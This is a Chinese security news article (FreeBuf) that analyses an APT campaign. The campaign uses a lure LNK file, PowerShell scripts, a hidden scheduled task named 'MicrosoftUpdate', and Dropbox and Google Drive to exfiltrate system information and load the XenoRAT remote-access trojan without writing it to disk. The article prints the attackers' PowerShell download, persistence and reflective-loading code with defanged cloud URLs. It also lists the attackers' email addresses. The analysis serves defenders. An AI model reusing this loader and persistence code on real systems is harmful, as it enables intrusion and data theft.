专栏名称: FreeBuf
国内关注度最高的全球互联网安全新媒体
目录
相关文章推荐
数据何规  ·  关于DeepSeek官方信息发布及服务渠道的说明 ·  17 小时前  
数据何规  ·  关于DeepSeek官方信息发布及服务渠道的说明 ·  17 小时前  
波纹的低风险杠杆  ·  20250205 越看越凉的古茗 ·  昨天  
波纹的低风险杠杆  ·  20250205 越看越凉的古茗 ·  昨天  
福州新闻网  ·  公开遴选!福州市委网信办发布最新公告! ·  2 天前  
看雪学苑  ·  关于PAN-OS ... ·  5 天前  
51好读  ›  专栏  ›  FreeBuf

APT 组织也在利用云存储进行攻击

FreeBuf  · 公众号  · 互联网安全  · 2024-10-07 09:30

正文


研究人员发现,各类攻击者都在攻击行动中将恶意脚本、远控木马和诱饵文档等恶意文件上传到云服务器上,各种恶意文件组合起来完成恶意攻击。


某个攻击组织从发送钓鱼邮件到植入远控木马的过程如下所示:


攻击链


多个恶意文件串联起了整个攻击行动,因为所有文件都部署在云端,受害者可能还会下载分析人员不掌握的其他恶意软件。借助这些恶意软件,攻击者可以回传敏感信息等。


EXE 文件与 LNK 文件都是 APT 攻击中常用的文件,本文也以此类文件为例进行介绍。


通过 LNK 下载恶意软件


研究人员发现,LNK 文件伪装成 HTML 文件,还配备了引诱受害者点击的名称(Police Cyber Investigation Bureau – Internet Use History (check now to keep your PC safe).html.lnk)。


LNK 文件属性


LNK 文件包含 PowerShell 命令,解码 base64 编码的命令后会被保存在 TEMP 文件夹中的 ms_temp_08.ps1 文件里等待执行。

..\..\..\..\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe  "$ss =\"[Base64-encoded commands]\"; $aa = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ss));$cc = [System.IO.Path]::GetTempPath();$dd = \"ms_temp_08.ps1\";$ee = Join-Path $cc $dd;$aa | Out-File -FilePath $ee; $aaaaa= 89897878; powershell -windowstyle hidden -ExecutionPolicy Bypass $ee"


而 ms_temp_08.ps1 会下载诱饵文档和其他恶意文件,再将其注册到计划任务中执行以下 PowerShell 命令:

$hhh = Join-Path ([System.IO.Path]::GetTempPath()) "Police Cyber Investigation Bureau - Internet Use History (check now to keep your PC safe).html";Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/lpoo2f42y7x5uy6druxa0/SoJ****.html?rlkey=ckv37q02rh9j1qsw7ed28bimv&st=64zsdvba&dl=0" -OutFile $hhh; & $hhh;$filePath = Join-Path ([System.IO.Path]::GetTempPath()) "ms_update.ps1";$str = '$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1"; Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/SoJ****-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;';$str | Out-File -FilePath $filePath -Encoding UTF8;$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-WindowStyle Hidden -nop  -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "& {$filePath = Join-Path ([System.IO.Path]::GetTempPath()) \"ms_update.ps1\";powershell -windowstyle hidden -ExecutionPolicy Bypass -File $filePath;}"';$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30);$settings = New-ScheduledTaskSettingsSet -Hidden;Register-ScheduledTask -TaskName "MicrosoftUpdate" -Action $action -Trigger $trigger -Settings $settings;$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "first.ps1";Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/gswgcmbktt1hthntozgep/SoJ****-F.txt?rlkey=n9xglo02xfnf14b9btgtw8aqi&st=w9zt1es5&dl=0" -OutFile $aaa; & $aaa;


PowerShell 命令首先会下载诱饵文档(普通 HTML 文件),由于文件名与 LNK 文件相同,用户很难意识到存在恶意目的。但分析人员在分析时,已经无法下载后续的恶意文件了。


之后会在 TEMP 文件夹中创建一个名为 ms_update.ps1 的 PowerShell 脚本文件,并将其注册成名为 MicrosoftUpdate 的计划任务,每三十分钟运行一次。


计划任务


此外,还会从攻击者的 Dropbox 下载名为 SoJ****-F.txt 的文件,保存到 TEMP 文件夹中命名为 first.ps1 再执行。


如前所述,名为 info.ps1 的脚本文件如下所示:

$aaa = Join-Path ([System.IO.Path]::GetTempPath()) "info.ps1";Invoke-WebRequest -Uri "hxxps://dl.dropboxusercontent[.]com/scl/fi/9d9msk907asjhilhjr75m/So****g-X.txt?rlkey=f8rydbv8tf28i9f2fwkrux6wo&st=78byjswv&dl=0" -OutFile $aaa; & $aaa;

分析过程中,分析人员发现攻击者的 Dropbox 中包含各种格式的诱饵文档,如 HTML 文件、Word 文件、HWP 文件与 PDF 文件,如下所示:


其他诱饵文档


其他诱饵文档


其他诱饵文档


其他诱饵文档


攻击者准备了各种主题的文件,包括大学合作申请、业务交付确认和与外交相关的事务。除此之外,攻击者还使用存款合同、保险合同与贷款合同等文件,其中包含特定的个人信息,攻击者似乎将恶意软件分发给特定的目标。


通过云端下载恶意软件


上述 LNK 文件会从云端下载 first.ps1 与 info.ps1 文件,尽管分析人员分析时未能从上述 Dropbox 上下载这些文件,但通过另一个 Dropbox 也获取了这些文件。


上传的文件以特定人员的名字命名,攻击者是根据具体受害者部署的攻击行动,部分文件名如下所示:


SoJ***g-F.txt
Kim***un-F.txt
I***ong-F.txt
Hong***a-F.txt
Jon***n-F.txt
0513chrome-f.txt0514edge-f.txt


攻击者为每个用户都建立了独立的文件夹,文件中包含诱饵文档、 [name]-F.txt [name]-X.txt 文件。脚本文件均使用基于 Token 的身份验证方法对 Dropbox 进行身份验证,每个文件包含 client_id、client_secret 和 refresh_token。


[name]-F.txt 是包含 PowerShell 命令的脚本文件,启动后会收集用户的环境信息并将其上传到攻击者的 Dropbox。用户环境信息会被保存到 TEMP 或 APPDATA 文件夹中,文件命名格式为 [IP 地址]-[当前时间]-Run-[名称].txt 或者 [IP 地址]-[当前时间]-RRR-[名称].txt 。收集的信息如下所示:


  • 操作系统名称、版本、BuildNumber 和 OSArchitecture

  • 反病毒软件

  • 上次启动时间

  • PC 类型

  • 处理信息

  • PowerShell 执行策略


收集的信息随后回传到攻击者的 Dropbox:


回传信息


[name]-X.txt 也是包含 PowerShell 命令的脚本文件,主要用于回传与下载文件。该脚本文件会在 TEMP 或 APPDATA 文件夹中创建名为 [IP 地址]-[当前时间]-XXX-[名称].txt 的文件,后续回传到 Dropbox 上。分析时发现该文件并没有内容,可能是为了检查脚本是否正常执行。但后续攻击者改变代码,仍然可以执行其他恶意行为。


上传文件后,攻击者使用 Google Drive 而非 Dropbox 下载其他恶意软件。通过 Google Drive 下载的文件保存在 TEMP 文件夹中,名为 system-xn.dat。

$dropboxShareLink = "hxxps://drive.google.com/uc?export=download&id=[omitted]"

$tempPath = [System.IO.Path]::GetTempPath();$filePath = Join-Path $tempPath "system-xn.dat"Invoke-WebRequest -Uri $dropboxShareLink -OutFile $filePath
[byte[]]$bytes = [System.IO.File]::ReadAllBytes($filePath); $bytes[0] = 0x1F;$bytes[1] = 0x8B;$assembly = [System.Reflection.Assembly]::Load($exBytes);
Remove-Item -Path $filePath
$name = "Main";foreach ($type in $assembly.GetTypes()){foreach ($method in $type.GetMethods()){if (($method.Name.ToLower()).equals($name.ToLower())){$method.Invoke($null, @());}}}


攻击者将文件的头部部分进行了修改,使其看起来很像 RTF 文件格式。


修改了文件内容


将修改的内容改为 GZ 文件对应的字段后,即可打开压缩文件:


压缩文件


解压后是一个 C# 文件,攻击者调用 Main 方法运行该文件以便恶意软件可以通过无文件的方式执行。


最终载荷


最后,攻击者要启动的是 XenoRAT 远控木马。该木马可以根据攻击者的命令达成各种恶意目的,如加载恶意软件、启动/终止进程以及与 C&C 服务器通信等。该恶意软件是攻击者定制开发的,互斥量为 swolf-20010512

远控木马


攻击者使用的电子邮件地址如下所示:


kumasancar@gmail[.]com
effortnully@gmail[.]com
tangdang77790@gmail[.]com
[email protected]
swolf0512@gmail[.]com


总结


攻击者在云端存储各种诱饵文件与泄露数据,并且攻击者往往是针对特定目标进行定向攻击,窃取信息后部署远控木马。建议用户提高警惕,在运行文件之前务必检查文件的扩展名和文件格式是否匹配。


FreeBuf粉丝交流群招新啦!
在这里,拓宽网安边界
甲方安全建设干货;
乙方最新技术理念;
全球最新的网络安全资讯;
群内不定期开启各种抽奖活动;
FreeBuf盲盒、大象公仔......
扫码添加小蜜蜂微信回复「加群」,申请加入群聊







请到「今天看啥」查看全文